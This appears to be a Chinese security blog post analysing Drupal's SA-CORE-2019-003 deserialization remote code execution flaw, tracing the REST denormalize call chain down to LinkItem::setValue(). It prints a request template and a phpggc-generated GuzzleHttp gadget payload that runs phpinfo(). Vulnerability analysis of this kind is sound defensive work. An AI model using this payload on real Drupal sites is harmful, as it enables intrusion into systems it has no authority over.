SA-CORE-2019-003 Drupal 内核远程代码执行漏洞分析
Feb 22, 2019
1 minute read

0x01 概述

https://www.drupal.org/sa-core-2019-003

0x02 影响版本

  • Drupal 8.6.x < 8.6.10
  • Drupal 8.5.x < 8.5.11

影响条件

  • 站点启用了Drupal 8核心RESTful Web服务(rest)模块,并允许PATCHPOST请求
  • 站点启用了另一个Web服务模块,如Drupal 8中的JSON:API,或Drupal 7中的ServicesRESTful Web Services

0x03 Web Services

Drupal框架的RESTful Web服务是为了更方便地访问Drupal站点的资源,支持常规的api请求,如GET / POST / PATCH / DELETE(出于一些原因不支持PUT )

更详细的介绍可以参考 https://www.drupal.org/docs/8/core/modules/rest/overview

这个漏洞影响REST Web Services,所以首先在Drupal 8中开启rest服务

  1. 下载REST UI并解压至core/modules/目录
  2. admin-config-extend勾选Web services中的RESTful Web ServicesREST UI并安装,drupal会自动安装Serialization ,最好也安装HAL扩展,后续会使用hal_json数据格式

HAL(Hypertext Application Language)是一个简单的API数据格式.它以xml和json为基础,让API变的可读性更高,并且具有discoverable的特性.当我们拿到HAL API返回的数据时,我们将会很容易根据当前数据查找与其相关的数据。在Micro Service API设计中,倾向于采用HAL这种类型的数据交换格式.

HAL的出现,主要弥补plain json在API交互中的不足.让plain json更具有描述性,更具有导航性.

  1. 开启权限。在admin-config-services-rest开启匿名用户注册权限

0x04 漏洞分析

根据补丁位置判断漏洞点在unserialize部分,因此这是一个反序列化漏洞。补丁主要修复了core/modules/link/src/Plugin/Field/FieldType/LinkItem.phpcore/lib/Drupal/Core/Field/Plugin/Field/FieldType/MapItem.php两个文件,这两处应该都是能触发的,这里选择LinkItem进行分析

看一下setValue()方法

可以看到简单判断了$values['options']后直接进行了反序列化,没有进行数据合法性校验,如果能够控制$values['options']就能直接触发漏洞

接下来梳理一下数据传递过程,以及如何进入到setValue()方法

通过rest接口注册用户时,发送的数据包类似这个样子

(图片来源:https://areatype.com/blog/register-user-drupal-8-rest-api)

在进入drupal后,由RequestHandler->handle()方法处理请求,进入deserialize()方法,然后调用$this->serializer->denormalize()反序列化出相应的类,此时的$unserializedSerializer

随后调用Serializer->denormalize()方法,在该方法中首先通过getDenormalizer()获得一个匹配的denormalizer,才能进行后续的denormalize()操作,匹配的过程则是和当前类的supportedInterfaceOrClass变量比较,返回最终可以进行denormalize()操作的类

if ($normalizer = $this->getDenormalizer($data, $type, $format, $context)) {
    return $normalizer->denormalize($data, $type, $format, $context);
}

此处跟入比较深,可以略过,总之返回匹配的类是ContentEntityNormalizer,跟进它的denormalize()方法

$typed_data_ids = $this->getTypedDataIds($data['_links']['type'], $context);
$entity_type = $this->getEntityTypeDefinition($typed_data_ids['entity_type']);

这个方法中根据 _links.type 的值取出typed data IDs_links.type 值即是post json部分的 "type": { "href": "http://127.0.0.1/drupal-8.6.5/rest/type/user/user" } 值,这个值决定了后面获取到的Entity实体,通过getTypeInternalIds()方法取出所有预定义的类型并返回相应的URI,然后才获取对应的实体类型定义

接着会调用这个实体的denormalizeFieldData()方法,在denormalizeFieldData()中调用相应的denormalize()方法,最终调用到这个field_itemsetValue()。因此为了触发到存在漏洞的setValue(),我们需要让field_itemLinkItem类或者MapItem类,这个赋值过程在获取到相应实体后的getStorage()->create()过程:

$entity = $this->entityManager->getStorage($typed_data_ids['entity_type'])->create($values);

调用流程create()->doCreate()->initFieldValues(),此时的调用栈是这样的:

现在的问题就是找到相应的Entity,在其中实体化了LinkItem类或MapItem类,通过查找,在core/modules中这样的类有两个,ShortcutMenuLinkContent,这里选择MenuLinkContent来触发,此时的_links.typehttp://127.0.0.1/drupal-8.6.5/rest/type/menu_link_content/menu_link_conten

因此最后的数据包类似这个样子,注意link必须为数组

{
  "link": [
    {
      "options": payload
    }
  ],
  "_links": {
    "type": {
      "href": "http://127.0.0.1/drupal-8.6.5/rest/type/menu_link_content/menu_link_content"
    }
  }
}

发送数据包成功触发到setValue()

接下来就是寻找内置的风险类了,进入setValue()后通过unserialize()执行代码。

0x05 PoC

在之前介绍phpggc工具的时候总结了Drupal中存在风险的三个类,分别可以导致远程代码执行、任意文件写入和任意文件删除,这三个类分别是

  • FnStream
  • FileCookieJar
  • WindowsPipes

具体参考:由phpggc理解php反序列化漏洞

同样地,借助phpggc直接生成序列化数据:

root@localhost:/opt/phpggc# ./phpggc guzzle/rce1 assert 'phpinfo()' -j
"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:9:\"phpinfo()\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"assert\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"

发送payload

注意:如果返回码为422且报下面这个错误,尝试在/admin/config/development/performance点击清除缓存

{"message":"Type http:\/\/127.0.0.1\/drupal-8.6.5-1\/rest\/type\/shortcut\/default does not correspond to an entity on this site."}

另外尝试用PoC脚本利用,每篇文章对应的node id利用一次就失效了,再次利用需要换一个node id,暂时没有研究为什么。

0x06 总结

这个漏洞触发点并不复杂,但是调用链相当深,利用条件则是开启了REST Web services,并且允许用户通过rest api注册,在一些功能比较齐全的站点或者方便插件调用时可能会开启,影响面减小了不少,但并不影响这依然是个非常巧妙的漏洞,也进一步说明了开发时考虑不周全的话,风险点就在那里,被利用只是时间问题。


Back to posts


comments powered by Disqus